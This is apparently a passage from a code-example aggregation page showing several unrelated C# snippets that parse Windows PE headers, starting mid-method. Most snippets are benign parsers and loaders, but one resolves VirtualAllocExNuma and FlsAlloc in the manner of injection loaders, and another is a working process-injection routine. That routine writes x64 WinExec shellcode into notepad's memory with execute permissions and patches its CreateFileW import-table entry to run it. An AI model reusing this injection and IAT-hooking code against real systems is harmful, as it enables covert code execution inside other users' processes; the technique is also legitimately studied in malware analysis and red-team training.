                throw new PortableExecutableImageException(this, "Could not read NT Header from stream.", ex);
            }

            ushort magic = 0;

            try
            {
                magic = await _stream.ReadUInt16Async().ConfigureAwait(false);
            }
            catch (Exception ex)
            {
                throw new PortableExecutableImageException(this, "Could not read Optional Header magic number from stream.", ex);
            }

            Is32Bit = (magic == (ushort)MagicType.PE32);
            Is64Bit = (magic == (ushort)MagicType.PE32plus);

            if (!Is32Bit && !Is64Bit)
            {
                throw new PortableExecutableImageException(this, "Unknown PE type.");
            }

            byte[] optionalHeaderBytes;

            try
            {
                var optionalHeaderSize = (Is32Bit ? Utils.SizeOf <IMAGE_OPTIONAL_HEADER32>() : Utils.SizeOf <IMAGE_OPTIONAL_HEADER64>());

                optionalHeaderBytes = await _stream.ReadBytesAsync(optionalHeaderSize).ConfigureAwait(false);
            }
            catch (Exception ex)
            {
                throw new PortableExecutableImageException(this, "Could not read Optional Header from stream.", ex);
            }

            IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32();
            IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64();
            var dirCount = 0;

            if (Is32Bit)
            {
                optionalHeader32 = Utils.Read <IMAGE_OPTIONAL_HEADER32>(optionalHeaderBytes);

                dirCount = optionalHeader32.NumberOfRvaAndSizes.ToInt32();
            }
            else
            {
                optionalHeader64 = Utils.Read <IMAGE_OPTIONAL_HEADER64>(optionalHeaderBytes);

                dirCount = optionalHeader64.NumberOfRvaAndSizes.ToInt32();
            }

            var dataDirs    = new IMAGE_DATA_DIRECTORY[dirCount];
            var dataDirSize = Utils.SizeOf <IMAGE_DATA_DIRECTORY>();

            for (var i = 0; i < dirCount; i++)
            {
                try
                {
                    dataDirs[i] = await _stream.ReadStructAsync <IMAGE_DATA_DIRECTORY>(dataDirSize).ConfigureAwait(false);
                }
                catch (Exception ex)
                {
                    throw new PortableExecutableImageException(this, "Could not read data directory from stream.", ex);
                }
            }

            var sectionTableEntrySize = Utils.SizeOf <IMAGE_SECTION_HEADER>();
            var sectionTable          = new IMAGE_SECTION_HEADER[fileHdr.NumberOfSections];

            for (var i = 0; i < fileHdr.NumberOfSections; i++)
            {
                try
                {
                    sectionTable[i] = await _stream.ReadStructAsync <IMAGE_SECTION_HEADER>(sectionTableEntrySize).ConfigureAwait(false);
                }
                catch (Exception ex)
                {
                    throw new PortableExecutableImageException(this, "Could not read section table entry from stream.", ex);
                }
            }

            IsCLR = false;

            var clrIndex = (int)DataDirectoryType.CLRRuntimeHeader;

            if (clrIndex >= 0 && clrIndex <= (dataDirs.Length - 1))
            {
                var clrDirectory = dataDirs[clrIndex];

                if (clrDirectory.VirtualAddress > 0 && clrDirectory.Size > 0)
                {
                    IsCLR = true;
                }
            }

            IsSigned = false;

            var certIndex = (int)DataDirectoryType.CertificateTable;

            if (certIndex >= 0 && certIndex <= (dataDirs.Length - 1))
            {
                var certDirectory = dataDirs[certIndex];

                if (certDirectory.VirtualAddress > 0 && certDirectory.Size > 0)
                {
                    IsSigned = true;
                }
            }

            var imageBase = (Is32Bit ? optionalHeader32.ImageBase : optionalHeader64.ImageBase);

            DOSHeader = new DOSHeader(this, dosHeader, imageBase);
            DOSStub   = new DOSStub(this, stubOffset.ToUInt64(), stubSize.ToUInt32(), imageBase);

            var            fileHeader = new FileHeader(this, fileHdr, DOSStub.Location.FileOffset + DOSStub.Location.FileSize + 4, imageBase);
            OptionalHeader optionalHeader;

            if (Is32Bit)
            {
                optionalHeader = new OptionalHeader32(this, optionalHeader32, fileHeader.Location.FileOffset + fileHeader.Location.FileSize, imageBase, magic);
            }
            else
            {
                optionalHeader = new OptionalHeader64(this, optionalHeader64, fileHeader.Location.FileOffset + fileHeader.Location.FileSize, imageBase, magic);
            }

            var dataDirectories = new DataDirectories(this, optionalHeader, dataDirs);

            NTHeaders    = new NTHeaders(this, ntOffset.ToUInt64(), imageBase, fileHeader, optionalHeader, dataDirectories);
            SectionTable = new SectionTable(this, sectionTable, NTHeaders.Location.FileOffset + NTHeaders.Location.FileSize, imageBase);
            Sections     = new Sections(this, SectionTable);
        }
Example #19
0
        public static void FindFunctions(ref IntPtr VirtualAllocExNumaAddr, ref IntPtr VirtualAllocExAddr, ref IntPtr FlsAllocAddr, ref IntPtr GetCurrentProcessAddr)
        {
            // Get 'Kernel32.dll' image base address
            IntPtr Kernel32BaseAddr = IntPtr.Zero;

            foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
            {
                if (Module.ModuleName.ToLower().Equals("kernel32.dll"))
                {
                    Kernel32BaseAddr = Module.BaseAddress;
                }
            }
            if (Kernel32BaseAddr == IntPtr.Zero)
            {
                Console.WriteLine("Failed to find 'kernel32.dll' base address");
                return;
            }

            IMAGE_DOS_HEADER       ImageDosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(Kernel32BaseAddr, typeof(IMAGE_DOS_HEADER));
            MagicType              Architecture   = (MagicType)Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20));
            IMAGE_EXPORT_DIRECTORY ImageExportDirectory;

            switch (Architecture)
            {
            case MagicType.IMAGE_NT_OPTIONAL_HDR32_MAGIC:
                IMAGE_OPTIONAL_HEADER32 PEHeader32 = (IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER32));
                ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader32.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY));
                break;

            case MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC:
                IMAGE_OPTIONAL_HEADER64 PEHeader64 = (IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER64));
                ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader64.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY));
                break;

            default:
                Console.WriteLine("Failed to identify 'kernel32.dll' architecture");
                return;
            }
            ;

            // Setup variables for iterating over export table
            int    CurrentFunctionNameAddr;
            String CurrentFunctionName;

            // Iterate over export table
            for (int i = 0; i < ImageExportDirectory.NumberOfNames; i++)
            {
                // Get current function's address (pointer) and name (pointer)
                CurrentFunctionNameAddr = Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfNames + (i * 4)));
                CurrentFunctionName     = Marshal.PtrToStringAnsi((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)CurrentFunctionNameAddr));

                // Check to see if it is the required function
                if (CurrentFunctionName.Equals("VirtualAllocExNuma"))
                {
                    VirtualAllocExNumaAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4))));
                }
                else if (CurrentFunctionName.Equals("VirtualAllocEx"))
                {
                    VirtualAllocExAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4))));
                }
                else if (CurrentFunctionName.Equals("FlsAlloc"))
                {
                    FlsAllocAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4))));
                }
                else if (CurrentFunctionName.Equals("GetCurrentProcess"))
                {
                    GetCurrentProcessAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4))));
                }
                // Check to see if all functions have been derived
                if ((VirtualAllocExAddr != IntPtr.Zero) && (VirtualAllocExNumaAddr != IntPtr.Zero) && (FlsAllocAddr != IntPtr.Zero) && (GetCurrentProcessAddr != IntPtr.Zero))
                {
                    break;
                }
            }
        }
Example #20
0
        public IntPtr GetRemoteProcAddress(IntPtr ptrHandle, IntPtr hBaseAddress, string sProcName)
        {
            IMAGE_DOS_HEADER32 dosHeader = new IMAGE_DOS_HEADER32();

            uint uiSignature = 0;
            IMAGE_FILE_HEADER       fileHeader      = new IMAGE_FILE_HEADER();
            IMAGE_OPTIONAL_HEADER32 optHeader32     = new IMAGE_OPTIONAL_HEADER32();
            IMAGE_DATA_DIRECTORY    exportDirectory = new IMAGE_DATA_DIRECTORY();
            IMAGE_EXPORT_DIRECTORY  exportTable     = new IMAGE_EXPORT_DIRECTORY();

            IntPtr ptrFunctionTable = IntPtr.Zero;
            IntPtr ptrNameTable     = IntPtr.Zero;
            IntPtr ptrOrdinalTable  = IntPtr.Zero;

            if (ptrHandle == IntPtr.Zero || hBaseAddress == IntPtr.Zero)
            {
                WriteError("Invalid call.");
                return(IntPtr.Zero);
            }

            IntPtr ptrNumBytesRead = IntPtr.Zero;

            if (!ReadProcessMemory(ptrHandle, hBaseAddress,
                                   &dosHeader, Marshal.SizeOf(dosHeader), out ptrNumBytesRead))
            {
                WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString());
                return(IntPtr.Zero);
            }

            if (dosHeader.e_magic != 0x5A4D)
            {
                WriteError("Image is not a valid DLL. " + dosHeader.e_magic.ToString());
                return(IntPtr.Zero);
            }

            if (!ReadProcessMemory(ptrHandle, hBaseAddress + (dosHeader.e_lfanew),
                                   &uiSignature, Marshal.SizeOf(uiSignature), out ptrNumBytesRead))
            {
                WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString());
                return(IntPtr.Zero);
            }

            if (uiSignature != 0x4550)
            {
                WriteError("Invalid NT signature...");
                return(IntPtr.Zero);
            }

            if (!ReadProcessMemory(ptrHandle, hBaseAddress + (dosHeader.e_lfanew + Marshal.SizeOf(uiSignature)),
                                   &fileHeader, Marshal.SizeOf(fileHeader), out ptrNumBytesRead))
            {
                WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString());
                return(IntPtr.Zero);
            }

            if (!ReadProcessMemory(ptrHandle, hBaseAddress + (dosHeader.e_lfanew + Marshal.SizeOf(uiSignature) + Marshal.SizeOf(fileHeader)),
                                   &optHeader32, Marshal.SizeOf(optHeader32), out ptrNumBytesRead))
            {
                WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString());
                return(IntPtr.Zero);
            }

            if (optHeader32.NumberOfRvaAndSizes >= 1)
            {
                exportDirectory.VirtualAddress =
                    (optHeader32.ExportTable.VirtualAddress);
                exportDirectory.Size = (optHeader32.ExportTable.Size);
            }
            else
            {
                WriteError("No export table found.");
                return(IntPtr.Zero);
            }

            if (!ReadProcessMemory(ptrHandle, hBaseAddress + (int)(exportDirectory.VirtualAddress),
                                   &exportTable, Marshal.SizeOf(exportTable), out ptrNumBytesRead))
            {
                WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString());
                return(IntPtr.Zero);
            }

            uint[]  uiExportFuncTable    = ReadUIntArray(ptrHandle, hBaseAddress + (int)(exportTable.AddressOfFunctions), (int)exportTable.NumberOfFunctions);
            uint[]  uiExportNameTable    = ReadUIntArray(ptrHandle, hBaseAddress + (int)(exportTable.AddressOfNames), (int)exportTable.NumberOfNames);
            short[] usExportOrdinalTable = ReadShortArray(ptrHandle, hBaseAddress + (int)(exportTable.AddressOfNameOrdinals), (int)exportTable.NumberOfNames);

            for (int i = 0; i < exportTable.NumberOfNames; i++)
            {
                if (ReadString(ptrHandle, hBaseAddress + (int)(uiExportNameTable[i])) == sProcName)
                {
                    return(new IntPtr((int)hBaseAddress + uiExportFuncTable[usExportOrdinalTable[i]]));
                }
            }

            WriteError("Unable to find the provided procedure name!");
            return(IntPtr.Zero);
        }
Example #21
0
        public PeHeaderReader(string filePath)
        {
            using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
                }

                uint offDebug     = 0;
                uint cbDebug      = 0;
                long cbFromHeader = 0;
                int  loopexit     = 0;

                if (this.Is32BitHeader)
                {
                    cbDebug = optionalHeader32.Debug.Size;
                }
                else
                {
                    cbDebug = optionalHeader64.Debug.Size;
                }

                imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
                for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
                {
                    imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);

                    if ((imageSectionHeaders[headerNo].PointerToRawData != 0) &&
                        (imageSectionHeaders[headerNo].SizeOfRawData != 0) &&
                        (cbFromHeader < (long)
                         (imageSectionHeaders[headerNo].PointerToRawData + imageSectionHeaders[headerNo].SizeOfRawData)))
                    {
                        cbFromHeader = (long)
                                       (imageSectionHeaders[headerNo].PointerToRawData + imageSectionHeaders[headerNo].SizeOfRawData);
                    }

                    if (cbDebug != 0)
                    {
                        if (this.Is32BitHeader)
                        {
                            if (imageSectionHeaders[headerNo].VirtualAddress <= optionalHeader32.Debug.VirtualAddress &&
                                ((imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].SizeOfRawData) > optionalHeader32.Debug.VirtualAddress))
                            {
                                offDebug = optionalHeader32.Debug.VirtualAddress - imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].PointerToRawData;
                            }
                        }
                        else
                        {
                            if (imageSectionHeaders[headerNo].VirtualAddress <= optionalHeader64.Debug.VirtualAddress &&
                                ((imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].SizeOfRawData) > optionalHeader64.Debug.VirtualAddress))
                            {
                                offDebug = optionalHeader64.Debug.VirtualAddress - imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].PointerToRawData;
                            }
                        }
                    }
                }

                stream.Seek(offDebug, SeekOrigin.Begin);

                while (cbDebug >= Marshal.SizeOf(typeof(IMAGE_DEBUG_DIRECTORY)))
                {
                    if (loopexit == 0)
                    {
                        imageDebugDirectory = FromBinaryReader <IMAGE_DEBUG_DIRECTORY>(reader);
                        long seekPosition = stream.Position;

                        if (imageDebugDirectory.Type == 0x2)
                        {
                            stream.Seek(imageDebugDirectory.PointerToRawData, SeekOrigin.Begin);
                            DebugInfo = FromBinaryReader <IMAGE_DEBUG_DIRECTORY_RAW>(reader);
                            loopexit  = 1;

                            //Downloading logic for .NET native images
                            if (new string(DebugInfo.name).Contains(".ni."))
                            {
                                stream.Seek(seekPosition, SeekOrigin.Begin);
                                loopexit = 0;
                            }
                        }

                        if ((imageDebugDirectory.PointerToRawData != 0) &&
                            (imageDebugDirectory.SizeOfData != 0) &&
                            (cbFromHeader < (long)
                             (imageDebugDirectory.PointerToRawData + imageDebugDirectory.SizeOfData)))
                        {
                            cbFromHeader = (long)
                                           (imageDebugDirectory.PointerToRawData + imageDebugDirectory.SizeOfData);
                        }
                    }

                    cbDebug -= (uint)Marshal.SizeOf(typeof(IMAGE_DEBUG_DIRECTORY));
                }

                if (loopexit != 0)
                {
                    _pdbName = new string(DebugInfo.name);
                    _pdbName = _pdbName.Remove(_pdbName.IndexOf("\0"));

                    _pdbage    = DebugInfo.age.ToString("X");
                    _debugGUID = DebugInfo.guid;
                }
            }
        }
Example #22
0
    public static void Inject()
    {
        string targetProcName = "notepad";
        string targetFuncName = "CreateFileW";

        // Get target process id and read memory contents
        Process process   = Process.GetProcessesByName(targetProcName)[0];
        IntPtr  hProcess  = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id);
        int     bytesRead = 0;

        byte[] fileBytes = new byte[process.WorkingSet64];
        ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead);

        // The DOS header
        IMAGE_DOS_HEADER dosHeader;

        // The file header
        IMAGE_FILE_HEADER fileHeader;

        // Optional 32 bit file header
        IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32();

        // Optional 64 bit file header
        IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64();

        // Image Section headers
        IMAGE_SECTION_HEADER[] imageSectionHeaders;

        // Import descriptor for each DLL
        IMAGE_IMPORT_DESCRIPTOR[] importDescriptors;

        // Convert file bytes to memorystream and use reader
        MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length);
        BinaryReader reader = new BinaryReader(stream);

        //Begin parsing structures
        dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

        // Add 4 bytes to the offset
        stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

        UInt32 ntHeadersSignature = reader.ReadUInt32();

        fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
        if (Is32BitHeader(fileHeader))
        {
            optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
        }
        else
        {
            optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
        }

        imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
        for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
        {
            imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
        }

        // Go to ImportTable and parse every imported DLL
        stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin);
        importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50];

        for (int i = 0; i < 50; i++)
        {
            importDescriptors[i] = FromBinaryReader <IMAGE_IMPORT_DESCRIPTOR>(reader);
        }
        bool flag = false;
        int  j    = 0;

        // The below is really hacky, would have been better to use structures!
        while (j < importDescriptors.Length && !flag)
        {
            for (int k = 0; k < 1000; k++)
            {
                // Get the address for the function and its name

                stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin);

                long nameOffset = reader.ReadInt64();
                if (nameOffset > 1000000 || nameOffset < 0)
                {
                    break;
                }

                // Get the function name
                stream.Seek(nameOffset + 2, SeekOrigin.Begin);
                List <string> list = new List <string>();
                byte[]        array;
                do
                {
                    array = reader.ReadBytes(1);
                    list.Add(Encoding.Default.GetString(array));
                }while (array[0] != 0);
                string curFuncName = string.Join(string.Empty, list.ToArray());
                curFuncName = curFuncName.Substring(0, curFuncName.Length - 1);

                // Get the offset of the pointer to the target function and its current value
                long funcOffset = importDescriptors[j].FirstThunk + (k * 8);
                stream.Seek(funcOffset, SeekOrigin.Begin);
                long curFuncAddr = reader.ReadInt64();

                // Found target function, modify address to point to shellcode
                if (curFuncName == targetFuncName)
                {
                    // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
                    // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
                    byte[] payload = new byte[111] {
                        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58
                    };

                    // Once shellcode has executed go to real import (mov to rax then jmp to address)
                    byte[] mov_rax = new byte[2] {
                        0x48, 0xb8
                    };
                    byte[] jmp_address = BitConverter.GetBytes(curFuncAddr);
                    byte[] jmp_rax     = new byte[2] {
                        0xff, 0xe0
                    };

                    // Build shellcode
                    byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
                    payload.CopyTo(shellcode, 0);
                    mov_rax.CopyTo(shellcode, payload.Length);
                    jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length);
                    jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length);

                    // Allocate memory for shellcode
                    IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

                    // Write shellcode to memory
                    IntPtr shellcodeBytesWritten = IntPtr.Zero;
                    WriteProcessMemory(hProcess, shellcodeAddress, shellcode, shellcode.Length, out shellcodeBytesWritten);

                    long funcAddress = (long)optionalHeader64.ImageBase + funcOffset;

                    // Get current value of IAT
                    bytesRead = 0;
                    byte[] buffer1 = new byte[8];
                    ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead);

                    // Get shellcode address
                    byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress);

                    // Modify permissions to allow IAT modification
                    uint oldProtect  = 0;
                    bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect);

                    // Modfiy IAT to point to shellcode
                    IntPtr iatBytesWritten = IntPtr.Zero;
                    bool   success         = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten);

                    // Read IAT to confirm new value
                    bytesRead = 0;
                    byte[] buffer = new byte[8];
                    ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead);


                    flag = true;
                    break;
                }
            }
            j++;
        }
    }
Example #23
0
        public PESupport(string LibraryName)
        {
            Debug.Assert(LibraryName != null);

            this.LibraryName = LibraryName;

            hLibrary = IntPtr.Zero;
            IntPtr original_hLibrary = LoadLibraryEx(this.LibraryName, IntPtr.Zero, LoadLibraryFlags.DONT_RESOLVE_DLL_REFERENCES); // access violations occur with LOAD_LIBRARY_AS_DATAFILE, but don't with DONT_RESOLVE_DLL_REFERENCES for some reason
            hLibrary = new IntPtr(original_hLibrary.ToInt32() - original_hLibrary.ToInt32() % 4); // adjust things to a DWORD boundary

            int error = Marshal.GetLastWin32Error();
            if (hLibrary == null && error != 0)
            {
                throw new System.ApplicationException("Got error " + error + " when loading library " + LibraryName);
            }

            // do some sanity checking
            dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(hLibrary, typeof(IMAGE_DOS_HEADER));
            if (!dosHeader.isValid)
            {
                throw new System.ApplicationException("Library does not appear to be a valid DOS file!");
            }

            ntHeader = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(hLibrary + dosHeader.e_lfanew, typeof(IMAGE_NT_HEADERS32));
            if (!ntHeader.isValid)
            {
                throw new System.ApplicationException("Library NT Header does not appear valid!");
            }

            fileHeader = ntHeader.FileHeader;
            if (fileHeader.Machine != (UInt16)(MachineType.I386))
            {
                throw new System.ApplicationException("Library appears to be compiled for x64 while this program only supports x86 libraries.");
            }
            optionalHeader = ntHeader.OptionalHeader;

            exports = new Dictionary<int, List<string>>();

            // if we don't have an export directory, move on
            if (optionalHeader.ExportTable.VirtualAddress == 0 || optionalHeader.ExportTable.Size == 0)
            {
                FreeLibrary(original_hLibrary);
                return;
            }

            // initialise the export header
            exportHeader = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(hLibrary + (int)optionalHeader.ExportTable.VirtualAddress, typeof(IMAGE_EXPORT_DIRECTORY));

            for (int i = 0; i < exportHeader.NumberOfNames; i++)
            {

                // grab the pointer to the next entry in the string table. In C, this would be a char*
                IntPtr namePtr = (IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfNames) + (4 * i), typeof(IntPtr));

                // dereference the previous char*
                string name;
                try
                {
                    name = Marshal.PtrToStringAnsi(hLibrary + namePtr.ToInt32());
                }
                catch (Exception ex)
                {
                    name = "";
                    Console.WriteLine(ex.StackTrace);
                }

                // grab the address for this function
                int address = ((IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfFunctions) + 4 * i, typeof(IntPtr))).ToInt32();
                address += (int)optionalHeader.ImageBase;

                if (exports.ContainsKey(address))
                {
                    exports[address].Add(name);
                }
                else
                {
                    exports[address] = new List<string>();
                    exports[address].Add(name);
                }

            }

            FreeLibrary(original_hLibrary);
        }